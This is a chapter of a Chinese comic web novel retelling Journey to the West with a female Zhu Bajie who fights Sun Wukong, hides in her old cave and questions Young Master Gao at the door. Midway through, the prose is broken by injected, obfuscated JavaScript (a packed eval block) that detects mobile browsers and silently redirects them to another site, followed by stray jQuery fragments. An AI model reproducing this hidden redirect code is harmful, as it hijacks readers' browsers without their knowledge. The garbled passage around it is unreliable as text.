3. 第 3 章

作品:《八戒八戒,心肠不坏[西游]

    却说那朱宝娥化作火光而逃,逃命途中,也记起更多事。


    原来她穿书已千年有余。


    一千多年前,她穿成个凡胎浊骨的小姐,仗着家境不错,总贪闲爱懒,每日好不洒脱。


    也是她的造化,十多岁时幸逢一位仙师收她为徒。


    有仙师教导,此后她潜心修行,飞升成仙,被封作天蓬,掌管天河。


    这差事不算繁重,她尚能应付。


    可她放诞惯了,有那吃醉便闹吵的毛病,几百年前在王母的蟠桃盛宴上乱撒泼,犯了天条,被贬下凡间。


    贬下凡间也罢,偏生叫她投错成猪胎!


    咦——!好个苦命的宝娥。


    朱宝娥记起前尘,眼泪汪汪,混沌间竟也找着一方去处——


    福陵山云栈洞。


    当年被贬下凡间,她就是落在那福陵山上,停留足有数百年之久。


    不过她后为救高公子,叫一妖祟打了脑袋,连同前尘旧事一并忘得干净。


    宝娥拨云而望,远远瞧见山野间一方洞府。


    两边松柏幽竹深深,洞前野草铺地,藤蔓乱生。


    正是荒荒凉凉、久无人住的光景。


    她双眼噙泪,正薅草拔藤,那行者就已赶上。


    行者掣铁棒,笑道:“敲了脑袋又灌了风,如今可想起老孙我是谁了?”


    宝娥哪里想不起?


    当年他在天宫做弼马温,他俩还打过照面。


    她手持钉耙,气哄哄就往他身上劈:“我把你这没礼的急猴子,不讲理的弼马温!我哪里惹过你,教你无端打我,实在欺人太甚!”


    那大圣还有闲心与她说笑:“望风敲一棍,哪算得打。真使个本事,只怕一棒就了结了你的性命哩。”


    “休要多言!”宝娥攒足一身蛮劲儿,一钯下去,愣使出戳他九个血窟窿的气势。


    行者使棍架挡:“好妹子,认得我了还要打,可是被我老孙耍弄一回,就生焦恼。”


    宝娥又想起方才他扮作高崔阑耍她,登时气得乱跳。


    他定是早早地认出她来,故意变化成那模样。


    她举钯又打:“不要多说,吃我这一钯!”


    行者也不留情,提棍与她争斗。


    两人在半空斗了三十来回合,正在那厮杀之际,行者忽道:“你这呆子,神仙不做,怎下界来把那高家老儿认作亲戚,倒不见他认你。你可知那老儿分了半边家资出来,千万告求我,叫我早早撵了你去!”


    “这该死的泼猴!若晓得这道理,何不去给那老货一棍,反来揪打我?直接将他撵走,岂不没了事端。”宝娥大怒,使起钉钯来更有劲。


    他二人又斗了百十回合,直等天际泛白。


    宝娥这肚里只装着那高公子送来的十多个热烧饼,又劳累半天,早没了力气。


    她渐敌不过,咬牙寻空子化作狂风,钻回了云栈洞。


    好宝娥,修得个该缩头时就缩头的乌龟妙法,躲在洞里,任凭那行者如何叫阵拍门,都不肯再出。


    行者已摸清她底细,也不急,又记挂着师父,索性先回了高家庄。


    朱宝娥躲进洞府,紧闭石门,连同光线隔去七七八八。


    她擦去热汗,歪倒在地,抬头观看这昏暗洞府。


    只见这洞内家火什物都齐全,但蒙了灰,长了草,一派荒凉,应是几年间没人来过。


    那粗粝潮湿的石壁上,挂着幅男女欢饮的旧画。


    画上女子横卧着虎皮床,酡颜醉脸;


    男子持酒盏看着她,另一手正拈了尖刀剔肉吃。他一副似笑非笑的神情,窄窄眼梢间压着股森森阴态。


    宝娥仔细看着旧画,认出那女子是她,至于男子,则是她那已亡故的丈夫,这云栈洞的旧主人——卯二郎君。


    她忽记起,几年前她欲与高崔阑配婚姻,他爹娘却百般敷衍。


    又说时日尚短;又说等她恢复记忆再慢慢磋商也不迟;又说她失忆前提过,曾与位福陵山云栈洞的“卯二郎君”有旧缘。


    那时她只当他们胡说,平白捏个假人唬她,如今恢复记忆,果真有这么个人物!


    这卯二郎君是个兔儿化的妖。


    模样俊,身子弱,性情阴毒,是个面相不善心儿也黑的美人。


    当时她被贬下界,落在这福陵山上,日久年深,与这云栈洞的主人——卯二郎君逐渐相识。


    他家当也算丰厚,许是恐那四方妖魔算计,便拿些金银钱财哄她配了婚姻。


    不过数年,卯二郎君病故。


    她嫌冷清,这才下福陵山,又恰巧救下那高公子。


    如今她重回此间旧地,却没心思念旧情,只嫌这洞府里尘多草盛,比不得那高家的柔软锦被。


    她突突囔囔地说些嫌弃话,怪那卯二郎君死得太过干净,鬼魂儿也不知时常回来打扫打扫。


    没一会儿,她累得瞌睡上来,就近找处干燥草窝蜷躺着了。


    这眼睛还没合上,她忽听见窸窣声响,又觉有人盯着自己,登时以为鬼魂作祟,惊得这呆子一骨碌爬起来。


    想到卯二郎君那眦睚必报的脾性,她抹把脸,对着那旧画哽咽道:“好郎君,你虽死了,可我这颗心剖出来,里面满满当当却全是你啊!哪舍得真让你来扫地搓灰,拔草平地。几句玩笑,也气得你来捣鬼么?”


    她刚说完,便有只小小老鼠从那旧画底下的草丛里窜出,须臾消失不见。


    原是这鼠精闹出的动静。


    宝娥气得四处打转:“你个晦气鼠精,那猴子打我,你也耍我。怎不敢多留几步,吃我一钯?”


    她又骂那卯二郎君,死得忒利索,走前也不知道使个法术护住山洞,弄得这鼠精占了洞府称霸王。心道这鼠精莫非是他外公不成,死了还要奉养在这偌大的洞府里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207463|181294||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    她骂累了,丢开钉钯要打瞌睡,又恐叫那鼠精咬了耳朵,便将双耳紧紧一捂,这才安心阖眼。


    朱宝娥正睡着,忽听见石门外有人高高低低地唤她,嗓子凄凄切切,活像叫魂。


    她强打精神,拖起钉钯走至石门后,贴上耳朵细听。


    门外人道:“宝娥,宝娥,你可是在这里面?”


    朱宝娥认得是高公子的声音,正欢喜,却猛想到昨天那猴子变作高崔阑耍她。


    恐又是孙悟空撒诈,她敛笑,不肯回应。


    高公子:“宝娥,我今早听见那毛脸的小长老与他师父说,你躲来了这云栈洞里,恐他害你,急忙赶来,不知平安与否?”


    宝娥心道这猴子果真奸诈,捉弄她前还要先问个安好。


    她不说话,算计着要怎的报复他。


    高公子等了半晌,更为急切:“宝娥,宝娥,你为何不出声,却是在怪我?我可对天发誓,我若害你性命,就堕了地狱去!”


    朱宝娥心中生疑,此人敢发这等毒誓,倒不像那猴子。


    她迟疑探道:“不必多言,我只问你,我与你何时相识?”


    高公子急道:“三年有余。”


    “是在什么地方?”


    “在这福陵山脚的荒林子里。”


    “当日你在山林里遇着精怪,那怪是个什么模样儿?”


    他又道:“是个屋宅大的虎精。你使了柴棍将它打死,剥了皮做毯子,如今还铺在那卧寝里。”


    正是,正是。


    宝娥继续试他:“去年中秋,我送了你什么东西?”


    “宝娥,你许是错记了。去年中秋,你看那天上圆圆明月,忽眼泪涟涟,说是好似看见故人。我问你何处故人,你却摇头说记不得,仅是个模糊念想。”那高公子缓声道,“怕你伤心,我送你枚玉雕成的花簪,你却问我,那花簪能换得几个团圆饼。”


    正是,正是!


    朱宝娥急忙忙贴上门,再问:“昨天你送饼,那饼是如何做的,又是什么馅?”


    “是鲜嫩菜馅儿的蒸饼和素包子。”


    正是啊!正是!!


    她问:“我喝的水?”


    他答:“不冷不热的温凉水。”


    她问:“我簪的钗?”


    他答:“上月托人买了料子来,我亲手打的金玉钗。”


    她又问:“我爱吃什么肉?”


    “宝娥,你又糊涂了。那年你使棍打了虎精,恐我害怕,解释有菩萨告诫你,要持斋把素,降妖魔来抵罪过,断不吃人。之后你通忘了旧事,我却记住这些,提醒着你不沾荤腥。”


    宝娥闻言,断定他不是那猴子假扮。


    “哥哥啊,”她早把对卯二郎君的剖白抛之脑后,一颗真心又交托在这高公子身上,急忙打开石门,“这山路陡峭,寸步难行,你个文弱的身儿,怎的辛苦爬上来。”